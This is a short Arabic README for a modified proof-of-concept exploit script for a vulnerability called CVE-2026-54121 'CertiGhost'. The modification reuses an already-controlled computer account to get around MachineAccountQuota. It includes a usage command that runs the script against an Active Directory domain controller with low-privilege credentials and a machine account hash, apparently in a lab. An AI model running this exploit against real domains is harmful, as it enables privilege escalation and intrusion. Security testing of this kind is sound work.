CVE-2026-54121-CertiGhost

هذا الكود هو كود إثبات المفهوم الأصلي من https://github.com/aniqfakhrul/CVE-2026-54121/blob/main/certighost.py ولكن مع تغييرات طفيفة لاستخدام كائن حاسوب نتحكم فيه بالفعل بدلاً من الاعتماد على إنشاء حاسوب جديد يكون عادةً محدودًا عبر MachineAccountQuota

انظر إلى المستودع الأصلي حول ثغرة CertiGhost لمزيد من المعلومات.

مثال على الاستخدام:

python3 certighost.py -d playground.local -u lowpriv -p Password123 \
  --dc-ip 192.168.209.157 \
  --computer-name MACHINEA$ \
  --computer-hash  <NT_HASH_MACHINE_A$>